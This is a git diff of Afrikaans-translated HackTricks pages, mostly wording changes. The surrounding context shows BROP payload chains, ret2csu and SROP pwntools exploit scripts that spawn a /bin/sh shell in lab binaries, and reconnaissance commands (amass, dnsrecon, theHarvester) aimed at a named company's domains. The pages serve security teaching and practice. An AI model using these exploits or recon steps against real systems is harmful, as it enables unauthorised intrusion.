* `'A' * offset + kanary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, is dprintf gevind
|
||||
* `'A' * offset + kanary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, is write gevind
|
||||
|
||||
## Outomatiese Uitbuiting
|
||||
|
||||
|
@ -139,7 +139,7 @@ Gedragskenmerke om daardie funksies te vind:
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -26,7 +26,7 @@ Wanneer 'n program sekere biblioteke gebruik (soos libc), het dit 'n paar ingebo
|
|||
|
||||
In **`__libc_csu_init`** is daar twee reekse instruksies (gadgets) om uit te lig:
|
||||
|
||||
1. Die eerste reeks laat ons toe om waardes in verskeie registers (rbx, rbp, r12, r13, r14, r15) op te stel. Dit is soos gleuwe waar ons getalle of adresse wat ons later wil gebruik, kan stoor.
|
||||
1. Die eerste reeks laat ons toe om waardes in verskeie registers (rbx, rbp, r12, r13, r14, r15) op te stel. Dit is soos gleuwe waar ons getalle of adresse kan stoor wat ons later wil gebruik.
|
||||
```armasm
|
||||
pop rbx;
|
||||
pop rbp;
|
||||
|
@ -40,7 +40,7 @@ Hierdie toestel stel ons in staat om hierdie registers te beheer deur waardes va
|
|||
|
||||
2. Die tweede reeks gebruik die waardes wat ons opgestel het om 'n paar dinge te doen:
|
||||
* **Beweeg spesifieke waardes na ander registers**, wat hulle gereed maak vir ons om as parameters in funksies te gebruik.
|
||||
* **Voer 'n oproep uit na 'n plek** wat bepaal word deur die waardes in r15 en rbx bymekaar te tel, en dan rbx met 8 te vermenigvuldig.
|
||||
* **Voer 'n oproep na 'n plek uit** wat bepaal word deur die waardes in r15 en rbx bymekaar te tel, en dan rbx met 8 te vermenigvuldig.
|
||||
```armasm
|
||||
mov rdx, r15;
|
||||
mov rsi, r14;
|
||||
|
@ -79,7 +79,7 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
'n Ander manier om **`rdi`** en **`rsi`** van die ret2csu-toestel te beheer is deur dit spesifieke offsette te benader:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Kyk na hierdie bladsy vir meer inligting:
|
||||
|
||||
|
@ -89,14 +89,14 @@ Kyk na hierdie bladsy vir meer inligting:
|
|||
|
||||
## Voorbeeld
|
||||
|
||||
### Die gebruik van die oproep
|
||||
### Die oproep gebruik
|
||||
|
||||
Stel jou voor jy wil 'n stelseloproep maak of 'n funksie soos `write()` aanroep, maar jy het spesifieke waardes in die `rdx` en `rsi` registers as parameters nodig. Normaalweg sou jy soek na gadgets wat hierdie registers direk instel, maar jy kan nie enige vind nie.
|
||||
|
||||
Hier kom **ret2csu** in spel:
|
||||
|
||||
1. **Stel die Registers Op**: Gebruik die eerste "magic gadget" om waardes van die stok af te haal en in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), en r15 te plaas.
|
||||
2. **Gebruik die Tweede Gadget**: Met daardie registers ingestel, gebruik jy die tweede gadget. Dit laat jou toe om jou gekose waardes in `rdx` en `rsi` te plaas (vanaf r14 en r13 onderskeidelik), wat parameters gereed maak vir 'n funksieoproep. Verder, deur `r15` en `rbx` te beheer, kan jy die program 'n funksie laat aanroep wat by die adres geleë is wat jy bereken en in `[r15 + rbx*8]` plaas.
|
||||
1. **Stel die Registers In**: Gebruik die eerste sielkundige toestel om waardes van die stok af te haal en in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), en r15 te plaas.
|
||||
2. **Gebruik die Tweede Toestel**: Met daardie registers ingestel, gebruik jy die tweede toestel. Dit laat jou toe om jou gekose waardes in `rdx` en `rsi` te skuif (vanaf r14 en r13 onderskeidelik), wat parameters gereed maak vir 'n funksieoproep. Verder, deur `r15` en `rbx` te beheer, kan jy die program 'n funksie laat aanroep wat by die adres geleë is wat jy bereken en in `[r15 + rbx*8]` plaas.
|
||||
|
||||
Jy het 'n [**voorbeeld wat hierdie tegniek gebruik en dit hier verduidelik**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), en dit is die finale uitbuiting wat dit gebruik het:
|
||||
```python
|
||||
|
@ -123,12 +123,12 @@ p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
|||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Let wel dat die vorige aanval nie bedoel is om 'n **`RCE`** uit te voer nie, dit is bloot bedoel om 'n funksie genaamd **`win`** aan te roep (die adres van `win` neem vanaf stdin deur gets in die ROP-ketting te roep en dit in r15 te stoor) met 'n derde argument met die waarde `0xdeadbeefcafed00d`.
|
||||
Let wel dat die vorige aanval nie bedoel is om 'n **`RCE`** uit te voer nie, dit is bloot bedoel om 'n funksie genaamd **`win`** aan te roep (die adres van `win` neem vanaf stdin deur gets te roep in die ROP-ketting en dit in r15 te stoor) met 'n derde argument met die waarde `0xdeadbeefcafed00d`.
|
||||
{% endhint %}
|
||||
|
||||
### Oorbrugging van die oproep en bereiking van ret
|
||||
|
||||
Die volgende aanval is onttrek vanaf [**hierdie bladsy**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) waar die **ret2csu** gebruik word, maar in plaas daarvan om die oproep te gebruik, word die vergelykings omseil en word die `ret` na die oproep bereik:
|
||||
Die volgende aanval is onttrek vanaf [**hierdie bladsy**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) waar die **ret2csu** gebruik word, maar in plaas daarvan om die oproep te gebruik, word die vergelykings omseil en die `ret` na die oproep bereik:
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
|
@ -180,4 +180,4 @@ target.interactive()
|
|||
```
|
||||
### Hoekom nie net libc direk gebruik nie?
|
||||
|
||||
Gewoonlik is hierdie gevalle ook vatbaar vir [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), maar soms moet jy meer parameters beheer as wat maklik beheer kan word met die gadgets wat jy direk in libc vind. Byvoorbeeld, die `write()`-funksie vereis drie parameters, en **dit mag nie moontlik wees om gadgets te vind om al hierdie direk in te stel nie**.
|
||||
Gewoonlik is hierdie gevalle ook kwesbaar vir **ret2plt** + **ret2lib**, maar soms moet jy meer parameters beheer as wat maklik beheer kan word met die gadgets wat jy direk in libc vind. Byvoorbeeld, die `write()`-funksie vereis drie parameters, en **dit mag nie moontlik wees om gadgets te vind om al hierdie direk in te stel nie**.
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Pwntools-voorbeeld
|
||||
## Pwntools voorbeeld
|
||||
|
||||
Hierdie voorbeeld skep die kwesbare binêre lêer en maak daarvan gebruik. Die binêre lêer **lees in die stok** en roep dan **`sigreturn`** aan:
|
||||
Hierdie voorbeeld skep die kwesbare binêre lêer en maak daarvan gebruik. Die binêre **lees in die stapel** en roep dan **`sigreturn`** aan:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -86,7 +86,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
|
|||
```
|
||||
## Exploit
|
||||
|
||||
Die aanval maak misbruik van die bof om terug te keer na die oproep na **`sigreturn`** en die stokkie voor te berei om **`execve`** te roep met 'n aanwyser na `/bin/sh`.
|
||||
Die aanval maak misbruik van die bof om terug te keer na die oproep na **`sigreturn`** en die stokkie voor te berei om **`execve`** te roep met 'n verwysing na `/bin/sh`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -115,7 +115,7 @@ payload += bytes(frame)
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## bof-voorbeeld sonder sigreturn
|
||||
## bof voorbeeld sonder sigreturn
|
||||
|
||||
### Kode
|
||||
```c
|
||||
|
@ -142,13 +142,13 @@ char* b = gen_stack();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
## Uitbuiting
|
||||
## Exploit
|
||||
|
||||
In die **`vdso`** afdeling is dit moontlik om 'n oproep na **`sigreturn`** te vind by die offset **`0x7b0`**:
|
||||
In die afdeling **`vdso`** is dit moontlik om 'n oproep na **`sigreturn`** te vind op die offset **`0x7b0`**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Daarom, indien uitgelek, is dit moontlik om **hierdie adres te gebruik om toegang tot 'n `sigreturn` te verkry** as die binêre lêer dit nie laai nie:
|
||||
Daarom, indien uitgelek, is dit moontlik om **hierdie adres te gebruik om toegang te verkry tot 'n `sigreturn`** as die binêre lêer dit nie laai nie:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -177,7 +177,7 @@ payload += bytes(frame)
|
|||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Vir meer inligting oor vdso, kyk:
|
||||
Vir meer inligting oor vdso kyk:
|
||||
|
||||
{% content-ref url="../ret2vdso.md" %}
|
||||
[ret2vdso.md](../ret2vdso.md)
|
||||
|
@ -195,9 +195,9 @@ En om die adres van `/bin/sh` te omseil, kan jy verskeie omgewingsveranderlikes
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
@ -10,13 +10,13 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in 'n **hacking-loopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
Indien jy belangstel in 'n **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -29,7 +29,7 @@ Die doel van hierdie fase is om al die **maatskappye wat deur die hoofmaatskappy
|
|||
1. Vind die verkrygings van die hoofmaatskappy, dit sal ons die maatskappye binne die omvang gee.
|
||||
2. Vind die ASN (indien enige) van elke maatskappy, dit sal ons die IP-reeks besit deur elke maatskappy gee
|
||||
3. Gebruik omgekeerde whois-opsoeke om te soek na ander inskrywings (organisasienames, domeine...) wat verband hou met die eerste een (dit kan rekursief gedoen word)
|
||||
4. Gebruik ander tegnieke soos shodan `org`en `ssl`filters om te soek na ander bates (die `ssl`-truk kan rekursief gedoen word).
|
||||
4. Gebruik ander tegnieke soos shodan `org`en `ssl`filters om te soek na ander bates (die `ssl`truk kan rekursief gedoen word).
|
||||
|
||||
### **Verkrygings**
|
||||
|
||||
|
@ -46,7 +46,7 @@ Een opsie is om [https://www.crunchbase.com/](https://www.crunchbase.com) te bes
|
|||
|
||||
Dit is interessant om te vind of die **maatskappy enige ASN toegewys het** om sy **IP-reeks** te vind. Dit sal interessant wees om 'n **kwesbaarheidstoets** uit te voer teen al die **gasheer** binne die **omvang** en te soek na domeine binne hierdie IP's.\
|
||||
Jy kan soek op maatskappy **naam**, op **IP** of op **domein** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
**Afhanklik van die streek van die maatskappy kan hierdie skakels nuttig wees om meer data te versamel:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Noord-Amerika),** [**APNIC**](https://www.apnic.net) **(Asië),** [**LACNIC**](https://www.lacnic.net) **(Latyns-Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Hoe dan ook, waarskynlik verskyn alle** nuttige inligting **(IP-reeks en Whois)** reeds in die eerste skakel.
|
||||
**Afhanklik van die streek van die maatskappy kan hierdie skakels nuttig wees om meer data in te samel:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Noord-Amerika),** [**APNIC**](https://www.apnic.net) **(Asië),** [**LACNIC**](https://www.lacnic.net) **(Latyns-Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Hoe dan ook, waarskynlik verskyn alle** nuttige inligting **(IP-reeks en Whois)** reeds in die eerste skakel.
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
|
@ -69,9 +69,6 @@ bbot -t tesla.com -f subdomain-enum
|
|||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
Jy kan die IP-reeks van 'n organisasie ook vind deur [http://asnlookup.com/](http://asnlookup.com) te gebruik (dit het 'n gratis API).\
|
||||
Jy kan die IP en ASN van 'n domein vind deur [http://ipv4info.com/](http://ipv4info.com).
|
||||
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
Op hierdie punt weet ons **al die bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheidsskanderings** (Nessus, OpenVAS) oor al die gasheerservers uitvoer.\
|
||||
|
@ -82,13 +79,13 @@ Ook kan jy 'n paar [**poortskanderings**](../pentesting-network/#discovering-hos
|
|||
|
||||
> Ons ken al die maatskappye binne die omvang en hul bates, dit is tyd om die domeine binne die omvang te vind.
|
||||
|
||||
_Merk asseblief op dat in die volgende voorgestelde tegnieke jy ook subdomeine kan vind en daardie inligting moet nie onderskat word nie._
|
||||
_Geliewe daarop te let dat in die volgende voorgestelde tegnieke jy ook subdomeine kan vind en daardie inligting moet nie onderskat word nie._
|
||||
|
||||
Eerstens moet jy soek na die **hoofdomein**(e) van elke maatskappy. Byvoorbeeld, vir _Tesla Inc._ gaan dit wees _tesla.com_.
|
||||
|
||||
### **Omgekeerde DNS**
|
||||
|
||||
Nadat jy al die IP-reeks van die domeine gevind het, kan jy probeer om **omgekeerde DNS-opsoeke** op daardie **IP's uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n DNS-bediener van die slagoffer of 'n bekende DNS-bediener (1.1.1.1, 8.8.8.8) te gebruik.
|
||||
Nadat jy al die IP-reeks van die domeine gevind het, kan jy probeer om **omgekeerde DNS-opsoeke** op daardie **IP's uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n paar dns-bedieners van die slagoffer of 'n paar bekende dns-bedieners (1.1.1.1, 8.8.8.8) te gebruik.
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
|
@ -107,7 +104,7 @@ Jy kan aanlyn gereedskappe gebruik soos:
|
|||
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Gratis**
|
||||
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
|
||||
* [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, nie gratis API nie.
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nie gratis
|
||||
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nie gratis nie
|
||||
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nie Gratis (slegs **100 gratis** soektogte)
|
||||
* [https://www.domainiq.com/](https://www.domainiq.com) - Nie Gratis nie
|
||||
|
||||
|
@ -121,7 +118,7 @@ Jy kan ook enkele outomatiese omgekeerde whois-ontdekkings doen met [amass](http
|
|||
As jy dieselfde ID van dieselfde opvolger op 2 verskillende bladsye vind, kan jy aanneem dat **beide bladsye** deur dieselfde span **bestuur word**.\
|
||||
Byvoorbeeld, as jy dieselfde **Google Analytics ID** of dieselfde **Adsense ID** op verskeie bladsye sien.
|
||||
|
||||
Daar is 'n paar bladsye en gereedskappe wat jou toelaat om te soek volgens hierdie opvolgers en meer:
|
||||
Daar is 'n paar bladsye en gereedskappe wat jou toelaat om te soek na hierdie opvolgers en meer:
|
||||
|
||||
* [**Udon**](https://github.com/dhn/udon)
|
||||
* [**BuiltWith**](https://builtwith.com)
|
||||
|
@ -177,11 +174,11 @@ Kyk na hierdie [**verslag vir meer inligting**](https://swarm.ptsecurity.com/dis
|
|||
|
||||
Jy kan 'n webwerf soos [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) of 'n instrument soos [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) gebruik om **domeine en subdomeine te vind wat dieselfde dmarc-inligting deel**.
|
||||
|
||||
### **Passiewe oorneem**
|
||||
### **Passiewe Oorname**
|
||||
|
||||
Dit is blykbaar algemeen vir mense om subdomeine aan IP-adresse toe te ken wat aan wolkverskaffers behoort en op 'n stadium daardie IP-adres **te verloor maar vergeet om die DNS-rekord te verwyder**. Daarom, deur net **'n VM te skep** in 'n wolk (soos Digital Ocean) sal jy eintlik **sekere subdomeine oorneem**.
|
||||
Dit is blykbaar algemeen vir mense om subdomeine aan IP-adresse toe te ken wat aan wolkverskaffers behoort en op 'n stadium daardie IP-adres te **verloor maar vergeet om die DNS-rekord te verwyder**. Daarom, deur net 'n VM te **begin in 'n wolk (soos Digital Ocean)**, sal jy eintlik **sekere subdomeine oorneem**.
|
||||
|
||||
[**Hierdie pos**](https://kmsec.uk/blog/passive-takeover/) verduidelik 'n storie daaroor en stel 'n skripsie voor wat **'n VM in DigitalOcean skep**, die **IPv4** van die nuwe masjien **kry**, en in Virustotal vir subdomeinrekords wat daarna verwys, **soek**.
|
||||
[**Hierdie pos**](https://kmsec.uk/blog/passive-takeover/) verduidelik 'n storie daaroor en stel 'n skripsie voor wat **'n VM in DigitalOcean begin**, die **IPv4** van die nuwe masjien **kry**, en in Virustotal vir subdomeinrekords wat daarna verwys, **soek**.
|
||||
|
||||
### **Ander maniere**
|
||||
|
||||
|
@ -189,20 +186,20 @@ Dit is blykbaar algemeen vir mense om subdomeine aan IP-adresse toe te ken wat a
|
|||
|
||||
**Shodan**
|
||||
|
||||
Aangesien jy reeds die naam van die organisasie wat die IP-ruimte besit, ken. Jy kan daarna soek in shodan deur hierdie data te gebruik: `org:"Tesla, Inc."` Kontroleer die gevonde gasheer vir nuwe onverwagte domeine in die TLS-sertifikaat.
|
||||
Aangesien jy reeds die naam van die organisasie wat die IP-ruimte besit, ken. Jy kan daarna soek in shodan deur hierdie data te gebruik: `org:"Tesla, Inc."` Kyk na die gevonde gasheer vir nuwe onverwagte domeine in die TLS-sertifikaat.
|
||||
|
||||
Jy kan die **TLS-sertifikaat** van die hoofwebwerf toegang, die **Organisasienaam** verkry en dan soek na daardie naam binne die **TLS-sertifikate** van al die webwerwe wat deur **shodan** bekend is met die filter: `ssl:"Tesla Motors"` of gebruik 'n instrument soos [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Jy kan die **TLS-sertifikaat** van die hoofwebwerf besoek, die **Organisasienaam** verkry, en dan soek na daardie naam binne die **TLS-sertifikate** van al die webwerwe wat deur **shodan** bekend is met die filter: `ssl:"Tesla Motors"` of gebruik 'n instrument soos [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) is 'n instrument wat soek na **domeine wat verband hou** met 'n hoofdomein en **subdomeine** daarvan, baie indrukwekkend.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) is 'n instrument wat soek na **domeine wat verband hou** met 'n hoofdomein en **subdomeine** daarvan, baie indrukwekkend.
|
||||
|
||||
### **Op soek na kwesbaarhede**
|
||||
|
||||
Kyk vir 'n [domeinoorneem](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Dalk gebruik 'n maatskappy **'n domein** maar hulle **het die eienaarskap verloor**. Registreer dit net (as dit goedkoop genoeg is) en laat die maatskappy weet.
|
||||
Soek na 'n [domeinoorneem](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Dalk gebruik 'n maatskappy **'n domein** maar hulle **het die eienaarskap verloor**. Registreer dit net (as dit goedkoop genoeg is) en laat die maatskappy weet.
|
||||
|
||||
As jy enige **domein met 'n ander IP** as diegene wat jy reeds in die batesontdekking gevind het, vind, moet jy 'n **basiese kwesbaarheidsskandering** uitvoer (met behulp van Nessus of OpenVAS) en 'n [**poortskandering**](../pentesting-network/#discovering-hosts-from-the-outside) met **nmap/masscan/shodan**. Afhangende van watter dienste besig is, kan jy in **hierdie boek 'n paar truuks vind om hulle te "aanval"**.\
|
||||
_Merk op dat die domein soms gehuisves word binne 'n IP wat nie deur die klient beheer word nie, so dit val buite die bestek, wees versigtig._
|
||||
_Merk op dat die domein soms gehuisves word binne 'n IP wat nie deur die klient beheer word nie, so dit val nie binne die bestek nie, wees versigtig._
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Bugsbounty wenk**: **teken aan** vir **Intigriti**, 'n premium **bugsbountyplatform geskep deur hackers, vir hackers**! Sluit by ons aan by [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) vandag, en begin om belonings te verdien tot **$100,000**!
|
||||
|
@ -221,7 +218,7 @@ Merk op dat sommige van die gereedskap en tegnieke om domeine te vind, ook kan h
|
|||
|
||||
### **DNS**
|
||||
|
||||
Laat ons probeer om **subdomeine** van die **DNS**-rekords te kry. Ons moet ook probeer vir **Zone-oordrag** (As kwesbaar, moet jy dit rapporteer).
|
||||
Laat ons probeer om **subdomeine** van die **DNS**-rekords te kry. Ons moet ook probeer vir **Zone-oordrag** (As dit kwesbaar is, moet jy dit rapporteer).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
|
@ -272,7 +269,7 @@ sudomy -d tesla.com
|
|||
```
|
||||
vita -d tesla.com
|
||||
```
|
||||
* [**dieHarvester**](https://github.com/laramies/theHarvester)
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester)
|
||||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
|
@ -341,13 +338,13 @@ python3 DomainTrail.py -d example.com
|
|||
* [**securitytrails.com**](https://securitytrails.com/) het 'n gratis API om te soek na subdomeine en IP-geskiedenis
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
Hierdie projek bied vir **gratis al die subdomeine wat verband hou met fout-vondsprogramme**. Jy kan ook toegang tot hierdie data kry deur [chaospy](https://github.com/dr-0x0x/chaospy) te gebruik of selfs die omvang wat deur hierdie projek gebruik word te ontsluit [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
Hierdie projek bied **gratis al die subdomeine wat verband hou met foutjagprogramme** aan. Jy kan ook toegang tot hierdie data kry deur [chaospy](https://github.com/dr-0x0x/chaospy) te gebruik of selfs die omvang wat deur hierdie projek gebruik word, te besoek [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
Jy kan 'n **vergelyking** van baie van hierdie gereedskap hier vind: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
